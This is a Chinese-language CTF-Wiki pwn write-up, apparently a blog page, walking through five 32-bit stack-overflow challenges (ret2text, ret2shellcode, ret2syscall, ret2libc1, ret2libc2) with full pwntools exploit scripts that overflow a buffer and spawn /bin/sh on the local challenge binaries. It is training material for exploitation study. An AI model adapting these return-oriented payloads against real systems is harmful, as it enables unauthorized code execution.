CTFWiki-pwn
ctfwiki-pwn
- stackoverflow
- ret2text
- ret2shellcode
- ret2syscall
- ret2libc1
- ret2libc2
stackoverflow
ret2text
首先checksec一下,是32位可执行文件,没有开启保护
放入ida,shift+f12查看字符串,发现secure函数中使用system函数调用了"/bin/sh",记下地址0x804863a
查看偏移地址
脚本如下:
from pwn import *
io = process("./ret2text")
payload = b"a"*112 + p32(0x804863a)
io.sendline(payload)
io.interactive()
ret2shellcode
checksec一下,是32位小端序
IDA看一下汇编代码,发现没有shell
找到溢出点
buf2所在段有执行权限
分析偏移地址:112
构造脚本:
from pwn import *io = process('./ret2shellcode')shellcode = asm(shellcraft.sh())
buf2_addr = 0x804A080
payload = shellcode.ljust(112, 'A') + p32(buf2_addr)io.sendline(payload)io.interactive()
ret2syscall
checksec一下,是32位小端序
找到/bin/sh地址
分析偏移地址
待构建的shellcode如下:
pop eax -->0xb
pop ebx -->'/bin/sh'
pop ecx -->0
pop edx -->0
int 0x80
找到所需代码片段
构建脚本:
from pwn import *io = process('./rop')offset=112
bin_sh_addr = 0x080BE408
pop_eax_ret_addr = 0x080bb196
pop_edx_ecx_ebx_addr=0x0806eb90
int_addr=0x08049421payload = "a"*offset + p32(pop_eax_ret_addr) + p32(0xb) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_addr)io.sendline(payload)io.interactive()
ret2libc1
首先还是checksec一下,是32位小端序
IDA打开,发现溢出点
用pwndbg算一算偏移地址
找到/bin/sh地址和system函数的plt表地址
构建exp(“b”*4作为虚假的返回地址,用于使函数调用结构完整):
from pwn import *io = process('./ret2libc1')offset = 112system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720payload = "a"*offset + p32(system_plt_addr) + "b"*4 + p32(bin_sh_addr)io.sendline(payload)io.interactive()
ret2libc2
checksec一下,是32位小端序
放进IDA里,发现溢出点
找到system函数,但找不到/bin/sh
在bss段找到一个buffer
并且这个buffer有写入权限
于是我们可以利用gets函数将/bin/sh读入到buf2中,再由system函数执行
计算偏移地址
找到system和gets对应的plt表地址
exp如下:
from pwn import *
io = process('./ret2libc2')system_addr = 0x8048490
gets_addr = 0x8048460
buf_addr = 0x804A080
payload = 'a'*112 + p32(gets_addr) + p32(system_addr) + p32(buf_addr) + p32(buf_addr)io.sendline(payload)io.sendline('/bin/sh')io.interactive()
CTFWiki-pwn相关推荐
- ISCC 2018 PWN WriteUp
1.Login [分值:200]--年轻人的第一道PWN 漏洞位置: 漏洞见上图,BUF大小0x40 读取时读了0x280字节,这样可覆盖掉Menu函数的返回值. 此函数中存在一个可能执行system ...
- 一道题彻底理解 Pwn Heap Unlink
基本原理 unlink是一个宏操作,用于将某一个空闲 chunk 从其所处的双向链表中脱链, 我们来利用unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 ...
- pwn 学习笔记 格式化串计算偏移量
学习参照:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit/ 利用%s泄露libc函数的got表内容 addr%k$s可以用来 ...
- 栈溢出原理 小记 基础中的基础~~
原文地址:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stackoverflow-basic-zh/ 自己的理解: 栈溢出指 ...
- 好好说话之unlink
堆溢出的第三部分unlink,这可能是有史以来我做的讲解图最多的一篇文章了累死 .可能做pwn的人都应该听过unlink,见面都要说声久仰久仰.学unlink的时候走了一些弯路,也是遇到了很多困扰的问 ...
- 安恒2018.10 level1思路讲解
程序功能分析 主程序是一个菜单,只有两个选项.一个是create,另一个是show.没有关于free的函数,所以可能会用到house of orange的技术来创造一个unsorted bin. in ...
- 花式栈溢出技巧----stack pivoting/frame faking
学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/ https://www.jianshu.com/ ...
- 通用gadget详解
gadget 利用gadget是做pwn题时控制程序流程一种重要且常用的方法. rop是什么? 参考链接 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/s ...
- 堆漏洞-UAF漏洞简析
UAF use after free,其内容如同其名称.在free后进行利用.UAF是堆结构漏洞的一种重要的利用方式. 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃 ...
- Linux 二进制漏洞挖掘入门系列之(五)UAF 漏洞分析与利用
0x10 UAF(Use After Free) 漏洞原理 这里,需要先介绍一下堆分配内存的原则.ptmalloc 是 glibc 的堆管理器,前身是 dlmalloc,Linux 中进程分配内存的两 ...
最新文章
- 【TeeChart Pro ActiveX教程】(八):ADO数据库访问(上)
- 3D打印产业化机遇与挑战
- 12 HTML5中的影音播放
- [architecture]-AMRV7和ARMV8中的一些细微差异
- jdk jre jvm 关系
- [BUUCTF-pwn]——bbys_tu_2016
- 什么是换码符(escape character)?
- 下一代面向知识的 BI 到底有何不同,从 nextionBI 数据解读能力中一探究竟
- java使用哪个类,怎么知道 java类从哪个jar 加载
- Node.js 11.14.0 发布,服务器端的 JavaScript 运行环境
- No such file or directory
- MySQL数据库索引优化实战分析
- 学习PetShop3.0(9)工厂的资料
- paip.账务系统的安全性
- 组合模型预测模型_改进著名的nfl预测模型
- Tableau数据源(一)-引入数据源
- 2022管理类联考真题不含答案-文都管联院
- 浏览器是怎么得到一个网页的
- 硬盘分区误删 ,快速恢复硬盘分区及数据
- C# 读取txt文件生成Word文档
热门文章
- 用Python定时每日爬取天气并把结果发送到邮箱项目实例
- 网站关键词排名下掉?快查下是否入坑了这6个SEO误区
- 第十二课 从宠物商店案例看DAPP架构和WEB3.JS交互接口
- 元胞自动机-森林火灾模拟
- 《Linux/UNIX OpenLDAP实战指南》——1.6 LDIF详解
- 哪些模块可用于python性能分析_4-Python内置类型性能分析
- Java NIO Introduction
- 用51单片机c语言实现电磁炉功能,基于单片机电磁炉控制系统设计..doc
- c语言程序设计教程西安交通大学出版社,C语言课程设计票务管理系统精要.doc
- Adobe发布第二财季财报:营收27.44亿美元 同比增长25%